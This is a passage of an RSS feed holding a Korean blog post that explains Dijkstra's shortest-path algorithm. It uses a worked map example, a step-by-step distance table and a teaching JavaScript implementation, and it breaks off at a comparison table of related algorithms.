&lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/azure/ai-services/document-intelligence/prebuilt/layout&quot;&gt;Microsoft Azure Document Intelligence — Layout model&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.unstructured.io/open-source/core-functionality/chunking&quot;&gt;Unstructured — Chunking&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[다익스트라 알고리즘 — 지도에서 최단 경로를 찾는 원리]]></title><description><![CDATA[안녕하세요. 자바파커입니다. 지도에서 목적지 방향으로 곧게 뻗은 길을 골랐습니다. 눈으로는 가장 가까워 보이지만 도로별 이동 시간을 더하니 19분입니다. 옆으로 돌아간 경로는 1…]]></description><link>https://blog.javapark.kr/dijkstra-shortest-path/</link><guid isPermaLink="false">https://blog.javapark.kr/dijkstra-shortest-path/</guid><pubDate>Sat, 29 Aug 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/890931f47f2e8856012479f41fd64ed7/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACIUlEQVR42i2SWW/aQBSFrVA8MzbGBgzeweAdjFnNFhCBAAnN0ixIXZX2IU0VqUrVqlLVl/72XidIR/My+u49OudSdE7DxSqjuESyWNUnsoOKVVyyUKmGSjaSnqX4xAhJpUXMDjHbpNxCeogUjwIYaSGpDWm9SewR0qMUr6cEA0sWhkGSg9WAVNqMFbPumPUmIMYewKAETvFqa7y8ePtlcbZbXb6bb3fj9ZvT3R2neQe5SkKWW4wzyAQzLlxw0TG8rHdIan2sN6h03rj5dP/16c/Hh6fPj7+//fp3e/d4/+Pvh4efzen2leyzsDOYAsb3tsLgItvZcOE858dMOaToQsWLF+HhiR0vO9P5+mTqD+feaBOMVqLTQ0bEuiMuWvLxmTC6Kkyu+fiCj47ez2qqG1JIrNCiiYoQD4RUzSgmZwS05BzkzbTkQULgOdve5IeXwvg6N90JvVOhvdInW87qAmxCzkSyIWciu1jxkewRNWD0BtHquNrluq+zzSXXXvPxuTjdibNbcXLFNI4wBLbfmVTiINnBCvAedIPUAF5c7fNn34XJDR8txdG5MLzMNheMO2CNgMgW9dynRRetpFXZTQSkEiC1jrQGCBtNNpjlB+fZaMFY/Yzd5wEuh6hgAGxj1X8xmWzT9kxyBlqIVB/awuAfjqTcTKTXM0aDlEyaK1JgGGAW/gB7cZuMaCRTwD8YAUf7g0sSRYVyOiul2UKaCP8BsztZeeO7fggAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/890931f47f2e8856012479f41fd64ed7/a1b3b/thumbnail.webp 215w,
/static/890931f47f2e8856012479f41fd64ed7/fc700/thumbnail.webp 430w,
/static/890931f47f2e8856012479f41fd64ed7/521f7/thumbnail.webp 860w,
/static/890931f47f2e8856012479f41fd64ed7/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/890931f47f2e8856012479f41fd64ed7/f7886/thumbnail.png 215w,
/static/890931f47f2e8856012479f41fd64ed7/bc750/thumbnail.png 430w,
/static/890931f47f2e8856012479f41fd64ed7/3e3fe/thumbnail.png 860w,
/static/890931f47f2e8856012479f41fd64ed7/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/890931f47f2e8856012479f41fd64ed7/3e3fe/thumbnail.png&apos; alt=&apos;가중치가 표시된 지도 그래프에서 다익스트라 알고리즘이 최단 경로를 탐색하는 모습&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;가중치가 표시된 지도 그래프에서 다익스트라 알고리즘이 최단 경로를 탐색하는 모습&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요. &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;지도에서 목적지 방향으로 곧게 뻗은 길을 골랐습니다. 눈으로는 가장 가까워 보이지만 도로별 이동 시간을 더하니 19분입니다. 옆으로 돌아간 경로는 10분밖에 걸리지 않습니다.&lt;/p&gt;
&lt;p&gt;왜 이런 차이가 생길까요?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;최단 경로는 선의 길이가 아니라, 지나온 간선 가중치의 합으로 결정됩니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;노드가 거리 순서대로 확정되고 마지막에 최단 경로가 되짚어지는 과정은 &lt;strong&gt;56초 영상&lt;/strong&gt;으로도 정리했습니다. 눈으로 고른 19짜리 길과 알고리즘이 찾은 10짜리 길을 비교해 보세요.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/Ql_v7fOGDEk&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 130.23255813953486%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAaCAIAAAA44esqAAAACXBIWXMAAAAAAAAAAAHqZRakAAAD2klEQVR42l2UaW/bRhCGGUuWeEuW5FPifZPLQyQlypJNHZHjOE7hxmmCNmi+FCj6//9BZ5ayaxR4QRBcPvPOzs4Oky73T7//tfn07e7px/bxezTf/fbzn+3jt3R5t3/64/b++cuPv+ebR/irr5L2wOiOzM7I6Iz0zkBl8pv7+v652n5e3v1af3wmi93H5z8hXrF+2H7+XtQPD19/VrtfivpTTyOdM7sLOrUanmn1taOe2hoYR1StM/tooL/DF6c1NNun1rsTvTUyWyOLvfTZK5+98LrnDuVNhhsH/CTiFcKrRNASlJ42EvVMxCd8jGGVm4TcOET+0mMpD3AIX2GNV2NOTVBaCuqqybGStJW4q6a8lsLqGz5oeIQpmbAU4/VpV5/yRj605xNvARoaU06JWRoXDZSo4buXHoPxGlLPgGnp+Zm7ONUSzVuQZBuR9bk9M7wKllgNf3vD+8whTyDNsmMURnizyO+G3jVrz9pW2TZRDqnjeN3SMsif8jT/q4Ch2WaCWbJG4ZK6nO45e845leheS6iF6FbHVllkO8VfHlOea/hxyIAnZ+S8PR/o6YUzY91r3rsW/aXgrwR/CS+idy04C8GplsVesmYdNTtsfhIyuBmjOHGrbLoTwCdYif5KDG6loIanGNxACMlbsvb8wl9V+U52clZNm50DXBwbhZesnXjTcRdScCOFtRStDwpr0UdepBkF6TQgrmxlXQUzZzijEKxZVdzJ3hJ/As9oLZONHG9lsu3F2x7ZylEth7fgfxZMtSgSzGlTdqat5Xa0DpNNx6mkYCVH636y66fv+/mH/nTfj3c9spGCW4zrVFAazpyx+gvMeTOnWg9C3GqP1GgFSt/L6V5Od5ACJAKZY+XchWDP4US5V1giczErxRCrAtWS3qYdbxAO1/BdgE051SvMHZzNQvTg6wwCY3h/1RSs8USyKRgeWAXVoXBzWlAw7OQSQsIa/uG/+FPBUaEtrTaeNsBGCU31CqdwWrxVCs5/PG2PVfPS2FKYOhsFOkOfwTk3V4IzS1g4+LsVbgEAqIKHnrRUYFtBzrye83ARtARhejESTB4WIIRNQzRRnIWIjXkgBWuOOWo5Dx1+aM/XK6nRJqchaBQMwSNzEG8CjM4CtKfSXAwlfOVZnCF4q3mzYCGENRPBzTxIAEFpwRmqNSEwD/4/hiCErJDLSeRZxVghJxMCt5U3ZgJILwW9ENSMVxJuDHDI0JkYHEIoEYSQFNIfR0MlPplEPSURtUJA5Sh1yispP4m5q4i78Bn23IVpijPtJQSIVWFoxTjScPSBMsTwBRJGWyBhAP4LTGfQ1Ri9JYIAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/fb10dc55a13edfff141591f108073bc3/a1b3b/video-thumb.webp 215w,
/static/fb10dc55a13edfff141591f108073bc3/fc700/video-thumb.webp 430w,
/static/fb10dc55a13edfff141591f108073bc3/521f7/video-thumb.webp 860w,
/static/fb10dc55a13edfff141591f108073bc3/d0742/video-thumb.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/fb10dc55a13edfff141591f108073bc3/f7886/video-thumb.png 215w,
/static/fb10dc55a13edfff141591f108073bc3/bc750/video-thumb.png 430w,
/static/fb10dc55a13edfff141591f108073bc3/3e3fe/video-thumb.png 860w,
/static/fb10dc55a13edfff141591f108073bc3/e7448/video-thumb.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/fb10dc55a13edfff141591f108073bc3/3e3fe/video-thumb.png&apos; alt=&apos;다익스트라 최단 경로 영상 — 눈으로 고른 경로 19와 알고리즘이 찾은 경로 10&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;다익스트라 최단 경로 영상 — 눈으로 고른 경로 19와 알고리즘이 찾은 경로 10&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;지도를 그래프로 바꾼다&lt;/h2&gt;
&lt;p&gt;다익스트라 알고리즘을 적용하려면 먼저 지도를 그래프로 표현합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;교차로·역·장소 → &lt;strong&gt;노드(Vertex)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;두 장소를 잇는 도로 → &lt;strong&gt;간선(Edge)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;거리·시간·요금 → &lt;strong&gt;가중치(Weight)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;지도 앱이 찾는 최단 경로는 반드시 물리적으로 가장 짧은 길일 필요가 없습니다. 가중치를 이동 시간으로 두면 막히지 않는 우회로가 선택되고, 비용으로 두면 통행료가 적은 경로가 선택됩니다.&lt;/p&gt;
&lt;h2&gt;핵심은 현재까지 가장 싼 노드다&lt;/h2&gt;
&lt;p&gt;출발점 &lt;code class=&quot;language-text&quot;&gt;S&lt;/code&gt;의 거리를 0, 나머지는 무한대로 시작합니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;아직 확정하지 않은 노드 중 누적 거리가 가장 작은 노드를 고릅니다.&lt;/li&gt;
&lt;li&gt;그 노드와 연결된 이웃까지의 새 거리를 계산합니다.&lt;/li&gt;
&lt;li&gt;기존 거리보다 작으면 거리와 이전 노드를 갱신합니다.&lt;/li&gt;
&lt;li&gt;목적지가 확정될 때까지 반복합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;이웃 거리 갱신을 &lt;strong&gt;완화(Relaxation)&lt;/strong&gt; 라고 부릅니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;새 거리 = 현재 노드까지의 거리 + 간선 가중치

새 거리 &amp;lt; 기록된 거리라면
  거리와 이전 노드를 교체&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;왜 한 번 확정하면 다시 보지 않아도 될까&lt;/h2&gt;
&lt;p&gt;다익스트라는 탐욕 알고리즘입니다. 매번 지금 가장 작은 누적 거리를 선택합니다.&lt;/p&gt;
&lt;p&gt;이 선택이 안전하려면 모든 간선 가중치가 0 이상이어야 합니다. 아직 방문하지 않은 경로를 돌아오더라도 비용이 음수가 아니므로 이미 가장 작았던 거리를 더 줄일 수 없기 때문입니다.&lt;/p&gt;
&lt;p&gt;음수 가중치가 있으면 나중에 발견한 경로가 확정 거리를 낮출 수 있습니다. 이 경우에는 Bellman–Ford처럼 음수 간선을 처리하는 알고리즘이 필요합니다.&lt;/p&gt;
&lt;h2&gt;예제로 따라가기&lt;/h2&gt;
&lt;p&gt;아래 지도에서 최종 경로는 &lt;code class=&quot;language-text&quot;&gt;S → B → D → G → T&lt;/code&gt;이고 비용은 10입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;확정 순서&lt;/th&gt;
&lt;th&gt;노드&lt;/th&gt;
&lt;th align=&quot;right&quot;&gt;출발점부터 비용&lt;/th&gt;
&lt;th&gt;갱신되는 후보&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;S&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;0&lt;/td&gt;
&lt;td&gt;A=4, B=2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;B&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;2&lt;/td&gt;
&lt;td&gt;D=4, E=7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;4&lt;/td&gt;
&lt;td&gt;C=9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;4&lt;/td&gt;
&lt;td&gt;C=6, G=7, H=10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;C&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;6&lt;/td&gt;
&lt;td&gt;F=9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;E&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;7&lt;/td&gt;
&lt;td&gt;H=9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;G&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;7&lt;/td&gt;
&lt;td&gt;T=10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;F&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;9&lt;/td&gt;
&lt;td&gt;변화 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;H&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;9&lt;/td&gt;
&lt;td&gt;변화 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;T&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;10&lt;/td&gt;
&lt;td&gt;탐색 종료&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;목적지 &lt;code class=&quot;language-text&quot;&gt;T&lt;/code&gt;가 확정되면 각 노드가 기억한 이전 노드를 역순으로 따라갑니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;T ← G ← D ← B ← S&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;역순을 뒤집으면 실제 최단 경로가 됩니다.&lt;/p&gt;
&lt;h2&gt;JavaScript 구현&lt;/h2&gt;
&lt;p&gt;아래 코드는 이해를 위해 우선순위 큐를 배열로 단순화했습니다. 큰 그래프에서는 이진 힙을 사용해야 합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;dijkstra&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;graph&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; start&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; target&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; dist &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Object&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;fromEntries&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Object&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;keys&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;graph&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;v&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;v&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;Infinity&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; prev &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; queue &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; start&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

  dist&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;start&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;queue&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    queue&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sort&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;a&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; b&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; a&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; b&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;cost&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; node&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; queue&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;shift&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cost &lt;span class=&quot;token operator&quot;&gt;!==&lt;/span&gt; dist&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;node&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;continue&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;node &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; target&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;break&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;next&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; weight&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;of&lt;/span&gt; graph&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;node&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; nextCost &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; cost &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; weight

      &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;nextCost &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; dist&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;next&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        dist&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;next&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; nextCost
        prev&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;next&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; node
        queue&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;nextCost&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; next&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;dist&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;target&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;Infinity&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; path &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; at &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; target&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; at&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; at &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; prev&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;at&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;at&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;distance&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; dist&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;target&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;reverse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;배열을 정렬하는 위 구현은 교육용입니다. 이진 힙 기반 우선순위 큐를 사용하면 인접 리스트 그래프에서 일반적으로 &lt;code class=&quot;language-text&quot;&gt;O((V + E) log V)&lt;/code&gt;에 동작합니다.&lt;/p&gt;
&lt;h2&gt;BFS·A*·Bellman–Ford와 어떻게 다를까&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;상황&lt;/th&gt;
&lt;th&gt;적합한 알고리즘&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
